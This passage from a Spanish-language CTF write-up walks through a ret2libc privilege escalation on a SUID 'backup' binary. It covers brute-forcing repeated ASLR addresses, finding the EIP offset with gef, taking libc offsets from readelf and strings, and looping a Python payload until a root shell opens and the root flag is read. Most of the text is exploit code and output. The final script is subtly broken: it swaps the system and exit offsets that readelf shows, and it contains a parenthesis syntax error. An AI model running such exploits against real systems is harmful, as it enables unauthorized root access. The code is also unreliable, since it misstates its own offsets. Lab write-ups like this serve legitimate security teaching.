Al tener un valor de 2, quiere decir que la maquina si cuenta con ASLR.

Otra forma de verlo seria usando la siguente expresión, donde podemos ver que efectivamente cuenta con ASLR al cambiar las direcciones.

for i in $(seq 1 10); do which backup | xargs ldd | grep libc | awk 'NF{print $NF}' | tr -d '()'; done
<ch backup | xargs ldd | grep libc | awk 'NF{print $NF}' | tr -d '()'; done  
0xf7553000
0xf752d000
0xf75a7000
0xf75bc000
0xf7579000
0xf7618000
0xf75ff000
0xf7613000
0xf7601000
0xf7556000

Pero pese a que exista ASLR, al no ser muy largas pueden repetirse, por tanto aunque sean aleatorios pueden volver a repetirse al haber una colision, podemos burlar el ASLR.

for i in $(seq 1 1000); do which backup | xargs ldd | grep libc | awk 'NF{print $NF}' | tr -d '()' | grep 0xf752d000; done; break 
<grep libc | awk 'NF{print $NF}' | tr -d '()' | grep 0xf752d000; done; break 
0xf752d000
0xf752d000
0xf752d000
bash: break: only meaningful in a `for', `while', or `until' loop

Ahora para poder ejecutar un ret2lib y poder ejecutar una llamada a nivel de sistema necesitaremos:

  • La dirección de system
  • La dirección de exit
  • La dirección de la cadena /bin/sh

Basicamente lo que queremos lograr es os.system("/bin/sh") y al ser el binario suid lo hara como root y ganaremos acceso como este usuario.

Para ello primero debemos de saber de las A que insertamos antes cuantas debemos insertar para tener control del registro eip. Para lo cual podemos usar pattern create y generar un numero de cadena aleatoria.

gef➤  pattern create 1000
[+] Generating a pattern of 1000 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
[+] Saved as '$_gef0'
gef➤  

Insertamos la cadena generada.

Y ahora con pattern offset podemos saber cual es el limite para sobreescribir eip.

gef➤  patter offset $eip
[+] Searching for '$eip'
[+] Found at offset 512 (little-endian search) likely
[+] Found at offset 320 (big-endian search)

Vemos que necesitamos 512 caracteres antes de sobrescribir eip. Verificamos con la ayuda de python imprimiendo 512 A y adicionamos 4 B, que como resultado ahora el registro eip valdria BBBB.

Ahora que sabemos el offset lo siguiente sera encontrar las direcciones de system, exit y sh. Y para ello primero vamos a coger una dirección base de libc, puede ser cualquiera 0xf752d000.

Teniendo esto podemos ir armandonos un script en python. Donde primero especificamos el offset de caracteres, debemos encontrar primero los offsets de las direcciones de system, exit y binsh. Ya que una vez tengamos estos podamos obtener las direcciones reales de estas usando la libc_base + los offsets de cada una.

Y usamos pack para representar las direcciones en litelediam y evitar darle la vuelta a las direcciones.

#!/usr/bin/python3


from struct import pack

offset = 512

junk = "A"*offset

#ret2lib - EIP  -> system -> exit -> /bin/sh

libc_base_add = 0xf752d000

system_add_offset = 

exit_add_offset = 

binsh_add_offset = 


system_add_real = pack("<I", libc_base_add + system_add_offset )

exit_add_real = pack("<I", libc_base_add + exit_add_offset)

binsh_add_real = pack("<I"), libc_base_add + binsh_add_offset)


payload = junk + system_add_real + exit_add_real + binsh_add_real

Finalmente como payload deberiamos pasarle el junk sumado mas las direcciones reales de system, exit y binsh.

Ahora para conseguir los offset, primero usaremos readelf para las direcciones de system y exit.

readelf -s /lib32/libc.so.6 | grep -E " system@@| exit@@"
<adelf -s /lib32/libc.so.6 | grep -E " system@@| exit@@"                     
   141: 0002e7b0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
  1457: 0003a940    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

Y para obtener el offset de binsh, podemos usar strings con los siguientes parametros:

strings -a -t x /lib32/libc.so.6 | grep "/bin/sh"
 15900b /bin/sh

Ahora solo debemos correr el programa multiples veces, para causar una colision en las direcciones hasta que libc valga lo que ejecutamos en el script.

#!/usr/bin/python3


from struct import pack

offset = 512

junk = "A"*offset

#ret2lib - EIP  -> system -> exit -> /bin/sh

libc_base_add = 0xf752d000

system_add_offset = 0x0002e7b0

exit_add_offset = 0x0003a940

binsh_add_offset = 0x0015900b

system_add_real = pack("<I", libc_base_add + system_add_offset )

exit_add_real = pack("<I", libc_base_add + exit_add_offset)

binsh_add_real = pack("<I"), libc_base_add + binsh_add_offset)


payload = junk + system_add_real + exit_add_real + binsh_add_real

print(payload)

Ejecutamos el exploit multiples veces y se ejecuta la /bin/sh y ganamos acceso como el usuario root, ahora solo debemos dirigirnos al directorio personal del usuario root y visualizar la segunda flag root.txt.

while true; do backup a 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 $(python exploit.py); done
# whoami
root
#cd /root
cat root.txt
98ef491742abffa14a62facb8d832818

Comments

comments powered by Disqus